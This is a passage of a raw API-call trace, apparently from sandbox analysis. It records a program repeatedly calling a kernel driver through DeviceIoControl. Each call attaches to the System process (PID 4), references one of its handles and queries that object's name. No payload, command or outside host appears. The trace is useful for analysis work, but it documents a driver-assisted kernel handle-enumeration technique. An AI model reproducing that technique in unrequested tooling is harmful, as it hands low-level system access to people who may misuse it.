PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.589] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800200b050, HandleInformation=0x0) returned 0x0 [0089.589] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.589] PsReleaseProcessExitSynchronization () returned 0x2 [0089.589] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.589] ObQueryNameString (in: Object=0xfffffa800200b050, ObjectNameInfo=0xfffffa8003ac4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac4044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.589] ObfDereferenceObject (Object=0xfffffa800200b050) returned 0x2 [0089.589] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.589] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.590] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.590] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.590] PsAcquireProcessExitSynchronization () returned 0x0 [0089.590] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.590] ObReferenceObjectByHandle (in: Handle=0xffffffff80000760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025eb4e0, HandleInformation=0x0) returned 0x0 [0089.590] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.590] PsReleaseProcessExitSynchronization () returned 0x2 [0089.590] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.590] ObQueryNameString (in: Object=0xfffffa80025eb4e0, ObjectNameInfo=0xfffffa8003ac5044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac5044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.590] ObfDereferenceObject (Object=0xfffffa80025eb4e0) returned 0x2 [0089.590] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.590] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.590] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.590] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.590] PsAcquireProcessExitSynchronization () returned 0x0 [0089.590] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.590] ObReferenceObjectByHandle (in: Handle=0xffffffff80000768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002277470, HandleInformation=0x0) returned 0x0 [0089.590] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.590] PsReleaseProcessExitSynchronization () returned 0x2 [0089.590] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.590] ObQueryNameString (in: Object=0xfffffa8002277470, ObjectNameInfo=0xfffffa8003ac6044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac6044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.590] ObfDereferenceObject (Object=0xfffffa8002277470) returned 0x2 [0089.590] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.590] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.590] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0089.591] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.591] PsAcquireProcessExitSynchronization () returned 0x0 [0089.591] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.591] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0089.591] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.591] PsReleaseProcessExitSynchronization () returned 0x2 [0089.591] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.591] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ac7044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ac7044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.591] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0089.591] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.591] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.591] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.591] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.592] PsAcquireProcessExitSynchronization () returned 0x0 [0089.592] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.592] ObReferenceObjectByHandle (in: Handle=0xffffffff80000774, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fa6b80, HandleInformation=0x0) returned 0x0 [0089.592] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.592] PsReleaseProcessExitSynchronization () returned 0x2 [0089.592] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.592] ObQueryNameString (in: Object=0xfffffa8001fa6b80, ObjectNameInfo=0xfffffa8003ac8044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac8044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.592] ObfDereferenceObject (Object=0xfffffa8001fa6b80) returned 0x2 [0089.592] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.592] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.592] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.592] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.592] PsAcquireProcessExitSynchronization () returned 0x0 [0089.592] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.592] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fa7bf0, HandleInformation=0x0) returned 0x0 [0089.592] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.593] PsReleaseProcessExitSynchronization () returned 0x2 [0089.593] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.593] ObQueryNameString (in: Object=0xfffffa8001fa7bf0, ObjectNameInfo=0xfffffa8003ac9044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac9044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.593] ObfDereferenceObject (Object=0xfffffa8001fa7bf0) returned 0x2 [0089.593] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.593] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.593] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.593] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.593] PsAcquireProcessExitSynchronization () returned 0x0 [0089.593] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.593] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003421550, HandleInformation=0x0) returned 0x0 [0089.593] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.593] PsReleaseProcessExitSynchronization () returned 0x2 [0089.593] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.593] ObQueryNameString (in: Object=0xfffffa8003421550, ObjectNameInfo=0xfffffa8003aca044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aca044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.593] ObfDereferenceObject (Object=0xfffffa8003421550) returned 0x2 [0089.593] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.593] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.593] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.593] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.593] PsAcquireProcessExitSynchronization () returned 0x0 [0089.593] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.593] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037321d0, HandleInformation=0x0) returned 0x0 [0089.593] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.593] PsReleaseProcessExitSynchronization () returned 0x2 [0089.593] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.594] ObQueryNameString (in: Object=0xfffffa80037321d0, ObjectNameInfo=0xfffffa8003acc044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003acc044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.594] ObfDereferenceObject (Object=0xfffffa80037321d0) returned 0x2 [0089.594] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.594] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.594] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.594] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.594] PsAcquireProcessExitSynchronization () returned 0x0 [0089.594] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.594] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002173f20, HandleInformation=0x0) returned 0x0 [0089.594] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.594] PsReleaseProcessExitSynchronization () returned 0x2 [0089.594] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.594] ObQueryNameString (in: Object=0xfffffa8002173f20, ObjectNameInfo=0xfffffa8003acd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003acd044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.594] ObfDereferenceObject (Object=0xfffffa8002173f20) returned 0x2 [0089.594] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.594] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.594] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.594] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.594] PsAcquireProcessExitSynchronization () returned 0x0 [0089.594] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.594] ObReferenceObjectByHandle (in: Handle=0xffffffff80000790, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002502240, HandleInformation=0x0) returned 0x0 [0089.594] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.594] PsReleaseProcessExitSynchronization () returned 0x2 [0089.594] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.594] ObQueryNameString (in: Object=0xfffffa8002502240, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.594] ObfDereferenceObject (Object=0xfffffa8002502240) returned 0x2 [0089.594] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.595] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.595] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.595] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.595] PsAcquireProcessExitSynchronization () returned 0x0 [0089.595] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.595] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0089.595] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.595] PsReleaseProcessExitSynchronization () returned 0x2 [0089.595] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.595] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.595] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0089.595] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.595] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.595] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.595] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.595] PsAcquireProcessExitSynchronization () returned 0x0 [0089.595] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.595] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001edcdf0, HandleInformation=0x0) returned 0x0 [0089.595] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.595] PsReleaseProcessExitSynchronization () returned 0x2 [0089.595] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.595] ObQueryNameString (in: Object=0xfffffa8001edcdf0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.595] ObfDereferenceObject (Object=0xfffffa8001edcdf0) returned 0x2 [0089.595] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.595] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.595] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.595] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.595] PsAcquireProcessExitSynchronization () returned 0x0 [0089.596] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.596] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0089.596] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.596] PsReleaseProcessExitSynchronization () returned 0x2 [0089.596] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.596] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.596] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0089.596] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.596] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.596] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.596] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.596] PsAcquireProcessExitSynchronization () returned 0x0 [0089.596] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.596] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020886e0, HandleInformation=0x0) returned 0x0 [0089.596] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.596] PsReleaseProcessExitSynchronization () returned 0x2 [0089.596] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.596] ObQueryNameString (in: Object=0xfffffa80020886e0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.596] ObfDereferenceObject (Object=0xfffffa80020886e0) returned 0x2 [0089.596] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.596] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.596] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.596] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.596] PsAcquireProcessExitSynchronization () returned 0x0 [0089.596] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.596] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800250e1c0, HandleInformation=0x0) returned 0x0 [0089.596] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.596] PsReleaseProcessExitSynchronization () returned 0x2 [0089.596] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.597] ObQueryNameString (in: Object=0xfffffa800250e1c0, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.597] ObfDereferenceObject (Object=0xfffffa800250e1c0) returned 0x2 [0089.597] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.597] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.597] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.597] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.597] PsAcquireProcessExitSynchronization () returned 0x0 [0089.597] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.597] ObReferenceObjectByHandle (in: Handle=0xffffffff800007bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800248ff20, HandleInformation=0x0) returned 0x0 [0089.597] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.597] PsReleaseProcessExitSynchronization () returned 0x2 [0089.597] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.597] ObQueryNameString (in: Object=0xfffffa800248ff20, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.597] 